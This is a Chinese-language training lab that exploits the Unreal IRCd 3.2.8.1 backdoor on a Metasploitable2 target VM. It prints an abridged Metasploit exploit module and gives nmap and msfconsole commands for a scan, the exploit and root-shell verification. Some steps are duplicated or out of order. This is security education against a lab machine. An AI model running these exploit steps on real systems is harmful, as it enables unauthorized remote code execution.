简介
在本实验中,我们将学习如何利用 LabEx 平台上托管的 Metasploitable2 目标机器上的 Unreal IRCd 服务。我们将首先了解 Unreal IRCd 服务中的漏洞,然后使用 Nmap 进行漏洞扫描。在识别出易受攻击的服务后,我们将利用 Metasploit 框架来利用该漏洞,并在目标机器上获取远程 shell。最后,我们将在被攻陷的系统上执行命令,以验证我们是否成功利用了该漏洞。
在本实验中,我们将学习如何利用 LabEx 平台上托管的 Metasploitable2 目标机器上的 Unreal IRCd 服务。我们将首先了解 Unreal IRCd 服务中的漏洞,然后使用 Nmap 进行漏洞扫描。在识别出易受攻击的服务后,我们将利用 Metasploit 框架来利用该漏洞,并在目标机器上获取远程 shell。最后,我们将在被攻陷的系统上执行命令,以验证我们是否成功利用了该漏洞。
Unreal IRCd 3.2.8.1 版本包含一个后门漏洞(CVE-2010-2075),该漏洞允许远程攻击者在受影响的系统上执行任意代码。该漏洞存在于 DEBUG3_DOLOG_SYSTEM
宏中,其中包含攻击者可利用的外部恶意代码。
相关信息:
用于利用此漏洞的 Metasploit 模块:
以下是 Metasploit 模块的简要概述:
## Require necessary modules
require 'msf/core'
## Define the Metasploit module class
class MetasploitModule < Msf::Exploit::Remote
## Module initialization with details like name, description, author, references, etc.
def initialize(info = {})
super(update_info(info,
'Name' => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
'Description' => %q{
This module exploits a malicious backdoor that was added to the
Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
},
## ... (omitted for brevity)
))
## Set default options
register_options(
[
Opt::RPORT(6667)
], self.class)
end
## Exploit method
def exploit
## Connect to the remote service
connect
## Print banner information
print_status("Connected to #{rhost}:#{rport}...")
banner = sock.get_once(-1, 30)
banner.to_s.split("\n").each do |line|
print_line(" #{line}")
end
## Send the backdoor command
print_status("Sending backdoor command...")
sock.put("AB;" + payload.encoded + "\n")
## Wait for session creation or timeout
1.upto(120) do
break if session_created?
select(nil, nil, nil, 0.25)
handler()
end
disconnect
end
end
现在你将启动攻击机(Kali Linux 容器)和目标机(Metasploitable2 虚拟机)以进行实验。
sudo virsh start Metasploitable2
等待目标机器启动,可能需要 1-3 分钟。
ping 192.168.122.102
按 Ctrl+C
停止 ping。
docker run -ti --network host b5b709a49cd5 bash
ping 192.168.122.102
按 Ctrl+C
停止 ping。
现在攻击机和目标机都已启动,你可以开始渗透测试。
注意:如果你意外退出了当前的 bash,Kali 容器将自动停止。你可以在主机上再次执行 docker run -ti --network host b5b709a49cd5 bash
以启动一个新的 Kali 容器并进入 bash 以继续实验。
在这一步骤中,我们将对目标机器执行漏洞扫描,以识别开放的端口以及在这些端口上运行的服务。我们将使用强大的 Nmap(Network Mapper)工具来完成此任务。
cd ~
msfconsole
nmap
命令扫描目标机器:nmap -sV -T4 192.168.122.102
-sV
选项用于启用开放端口的版本检测,-T4
将扫描速度设置为激进级别(1-5,数值越高速度越快)。
输出应显示一个开放的端口 6667
,运行着 unreal ircd
服务。
按 Ctrl+D 退出 Metasploit 控制台,然后开始检查
现在我们已经识别出运行在端口 6667
上的易受攻击的 Unreal IRCd 服务,接下来我们可以使用 Metasploit 框架对其进行利用。
cd ~
msfconsole
unreal_ircd_3281_backdoor
模块:search unreal_ircd_3281_backdoor
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOST 192.168.122.102
exploit
如果漏洞利用成功,你应该会在目标机器上获得一个远程 shell。
按 Ctrl+D 退出 Metasploit 控制台,然后开始检查
为了验证漏洞利用是否成功,我们可以在上一步中获得的远程 shell 上执行命令。
cd ~
msfconsole
whoami
命令检查当前用户:whoami
hostname
命令检查主机名:hostname
ifconfig
命令检查 IP 地址:ifconfig
如果输出显示当前用户为 root
,主机名为 metasploitable
,并且 IP 地址与目标机器(192.168.122.102)匹配,则确认漏洞利用成功,并且你已经完全控制了目标系统。
按 Ctrl+D 退出 Metasploit 控制台,然后开始检查
在本实验中,我们学习了 Unreal IRCd 漏洞以及如何使用 Metasploit 框架对其进行利用。我们首先了解了该漏洞及其影响,然后通过漏洞扫描识别出易受攻击的服务。在发现运行在端口 6667
上的 Unreal IRCd 服务后,我们使用合适的 Metasploit 模块利用该漏洞并成功获取目标机器的远程访问权限。最后,通过在受攻击系统上执行命令,我们验证了漏洞利用的成功。本实验提供了漏洞分析、利用以及利用后验证的实践机会,这些是道德黑客和网络安全专业人员必备的关键技能。